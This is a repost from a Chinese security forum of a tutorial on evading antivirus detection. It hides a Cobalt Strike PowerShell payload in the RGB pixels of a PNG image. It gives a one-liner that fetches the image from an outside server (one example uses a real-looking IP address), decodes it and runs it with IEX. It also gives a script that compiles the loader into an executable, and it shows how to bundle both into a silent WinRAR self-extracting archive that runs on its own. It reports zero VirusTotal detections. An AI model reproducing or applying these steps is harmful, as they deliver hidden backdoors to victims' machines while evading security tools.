安全矩阵

 找回密码
 立即注册
搜索
查看: 2612|回复: 0

免杀|利用RGB隐写隐藏Shellcode

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-9-27 20:39:03 | 显示全部楼层 |阅读模式
原文链接:免杀|利用RGB隐写隐藏Shellcode


前言本篇文章将演示利用隐写术将 Shellcode 隐写入 PNG 图片 RGB 像素中,从而隐藏后门代码,并进行远程加载控制目标主机。
实战演示需要使用 Invoke-PSImage 工具:
•项目地址:https://github.com/peewpw/Invoke-PSImage
首先使用 Cobalt Strike 生成 Powershell 类型(.ps1)的

image-20210921133427498
然后将刚才生成的 payload.ps1 文件放在 Invoke-PSImage 项目内,再准备一张图片用于生成一张带有 Shellcode 的图片,二者与 Invoke-PSImage.ps1 文件在同一目录:

image-20210921162356384
远程加载执行以下命令即可生成一个带有 Shellcode 的图片 shell.png:
  1. # 设置执行策略
  2. Set-ExecutionPolicy Unrestricted -Scope CurrentUser
  3. # 导入 Invoke-PSimage.ps1 文件
  4. Import-Module .\Invoke-PSimage.ps1
  5. # 生成带有 Shellcode 的图片
  6. Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png -Web
复制代码




image-20210921162516197
执行之后得到一串代码:

  1. sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
复制代码


并且会得到带有 Shellcode 的图片 shell.png:

image-20210921162640820
接着,我们在自己的 VPS 上开启一个 Web 服务,用于托管得到的 shell.png:

image-20210921135950506
然后将上面得到的代码中的 http://example.com/shell.png 改为我们自己的 Web 服务地址:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://47.101.57.72/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
在目标主机上执行这段代码后目标机成功上线:

image-20210921163837141
我们还可以将上面那段加载的命令编译生成可执行文件,这里我们直接使用网上找的脚本进行编译:
•Convert-PS1ToExe.ps1
  1. function Convert-PS1ToExe
  2. {
  3.     param(
  4.     [Parameter(Mandatory=$true)]
  5.     [ValidateScript({$true})]
  6.     [ValidateNotNullOrEmpty()]   
  7.     [IO.FileInfo]$ScriptFile
  8.     )
  9.     if( -not $ScriptFile.Exists)
  10.     {
  11.         Write-Warning "$ScriptFile not exits."
  12.         return
  13.     }

  14.     [string]$csharpCode = @'
  15.     using System;
  16.     using System.IO;
  17.     using System.Reflection;
  18.     using System.Diagnostics;
  19.     namespace LoadXmlTestConsole
  20.     {
  21.         public class ConsoleWriter
  22.         {
  23.             private static void Proc_OutputDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)
  24.             {
  25.                 Process pro = sender as Process;
  26.                 Console.WriteLine(e.Data);
  27.             }
  28.             static void Main(string[] args)
  29.             {
  30.                 // Set title of console
  31.                 Console.Title = "Powered by PSTips.Net";

  32.                 // read script from resource
  33.                 Assembly ase = Assembly.GetExecutingAssembly();
  34.                 string scriptName = ase.GetManifestResourceNames()[0];
  35.                 string scriptContent = string.Empty;
  36.                 using (Stream stream = ase.GetManifestResourceStream(scriptName))
  37.                 using (StreamReader reader = new StreamReader(stream))
  38.                 {
  39.                     scriptContent = reader.ReadToEnd();
  40.                 }

  41.                 string scriptFile = Environment.ExpandEnvironmentVariables(string.Format("%temp%\\{0}", scriptName));
  42.                 try
  43.                 {
  44.                     // output script file to temp path
  45.                     File.WriteAllText(scriptFile, scriptContent);

  46.                     ProcessStartInfo proInfo = new ProcessStartInfo();
  47.                     proInfo.FileName = "PowerShell.exe";
  48.                     proInfo.CreateNoWindow = true;
  49.                     proInfo.RedirectStandardOutput = true;
  50.                     proInfo.UseShellExecute = false;
  51.                     proInfo.Arguments = string.Format(" -File {0}",scriptFile);

  52.                     var proc = Process.Start(proInfo);
  53.                     proc.OutputDataReceived += Proc_OutputDataReceived;
  54.                     proc.BeginOutputReadLine();
  55.                     proc.WaitForExit();
  56.                     Console.WriteLine("Hit any key to continue...");
  57.                     Console.ReadKey();
  58.                 }
  59.                 catch (Exception ex)
  60.                 {
  61.                     Console.WriteLine("Hit Exception: {0}", ex.Message);
  62.                 }
  63.                 finally
  64.                 {
  65.                     // delete temp file
  66.                     if (File.Exists(scriptFile))
  67.                     {
  68.                         File.Delete(scriptFile);
  69.                     }
  70.                 }

  71.             }

  72.         }
  73.     }
  74. '@

  75.     # $providerDict
  76.     $providerDict = New-Object 'System.Collections.Generic.Dictionary[[string],[string]]'
  77.     $providerDict.Add('CompilerVersion','v4.0')
  78.     $codeCompiler = [Microsoft.CSharp.CSharpCodeProvider]$providerDict

  79.     # Create the optional compiler parameters
  80.     $compilerParameters = New-Object 'System.CodeDom.Compiler.CompilerParameters'
  81.     $compilerParameters.GenerateExecutable = $true
  82.     $compilerParameters.GenerateInMemory = $true
  83.     $compilerParameters.WarningLevel = 3
  84.     $compilerParameters.TreatWarningsAsErrors = $false
  85.     $compilerParameters.CompilerOptions = '/optimize'
  86.     $outputExe = Join-Path $ScriptFile.Directory "$($ScriptFile.BaseName).exe"
  87.     $compilerParameters.OutputAssembly =  $outputExe
  88.     $compilerParameters.EmbeddedResources.Add($ScriptFile.FullName) > $null
  89.     $compilerParameters.ReferencedAssemblies.Add( [System.Diagnostics.Process].Assembly.Location ) > $null

  90.     # Compile Assembly
  91.     $compilerResult = $codeCompiler.CompileAssemblyFromSource($compilerParameters,$csharpCode)

  92.     # Print compiler errors
  93.     if($compilerResult.Errors.HasErrors)
  94.     {
  95.         Write-Host 'Compile faield. See error message as below:' -ForegroundColor Red
  96.         $compilerResult.Errors | foreach {
  97.             Write-Warning ('{0},[{1},{2}],{3}' -f $_.ErrorNumber,$_.Line,$_.Column,$_.ErrorText )
  98.         }
  99.     }
  100.     else
  101.     {
  102.          Write-Host 'Compile succeed.' -ForegroundColor Green
  103.          "Output executable file to '$outputExe'"
  104.     }
  105. }
复制代码


首先将那段用于加载 Shellcode 的命令写入文件 Loader.ps1 中:

image-20210921171459111
然后执行以下命令,使用 Convert-PS1ToExe.ps1 将 Loader.ps1 编译成 EXE:
  1. Import-Module .\Convert-PS1ToExe.ps1
  2. Convert-PS1ToExe -ScriptFile .\Loader.ps1
复制代码



image-20210921171759257
将生成的 exe.jpg 上传到目标主机并执行:

image-20210921172516131
如上图所示,目标机成功上线。美中不足的是有个弹窗。
使用远程加载固然方便,但是由于生成的图片非常大,远程加载所耗的时间较长,所以我们可以尽可能的本地加载。
本地加载执行以下命令即可生成一个带有 Shellcode 的图片 shell.png:

  1. # 设置执行策略
  2. Set-ExecutionPolicy Unrestricted -Scope CurrentUser
  3. # 导入 Invoke-PSimage.ps1 文件
  4. Import-Module .\Invoke-PSimage.ps1
  5. # 生成带有 Shellcode 的图片
  6. Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png
复制代码



image-20210921164514521
如上图所示,生成了包含 Shellcode 的图片 shell.png 与加载 Shellcode 使用的代码:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap(".\shell.png");$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
执行上面的命令,在本地加载图片里的 Shellcode:

image-20210921165619277
如上图所示,成功上线。
下面,我们将这种本地加载中的加载命令也用之前的方式编译成可执行文件:

image-20210921172946177

image-20210921173310693
此时执行 Loader.exe 便可以加载 shell.png 中的 Shellcode,但二者必须在同一目录下。为了方便,我们还需要完善一下。
这里我们参考使用 WinRAR 自解压捆绑木马的思路,将 shell.png 和 Loader.exe 压缩在一起,并设置成自解压格式,那么当用户运行时,二者便会被解压到相同的目录并自动执行 Loader.exe。
首先,选中这两个文件,鼠标右键,将这两个文件添加到压缩文件。点击 “创建自解压格式压缩文件”,此时rar就会变成 exe 后缀的文件:

image-20210921174134274

image-20210921174438232
然后点击“高级”—>“自解压文件选项”—>“常规”:

image-20210921174516416
设置解压后文件的存储路径为 C:\WINDOWS\Temp:

image-20210921174653293
然后,进入“安装”(有的版本也叫“设置”),填入解压完成后需要执行的程序:

image-20210921174800415
然后,进入“模式”,选择模式为“全部隐藏”:

image-20210921174837149
然后,进入“更新”,将更新方式设置为“解压并更新文件”,覆盖方式设置为“覆盖所有文件”:

image-20210921174937701
最后点击确定,即可生成一个 Desktop.exe 的文件:

image-20210921175013158
运行 Desktop.exe 即可成功上线:

image-20210921175436599
​​
免杀测试将生成的 shell.png 扔到 virustotal 上面去测试,查杀率为 0/57:

image-20210921181509806















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 21:36 , Processed in 0.015327 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表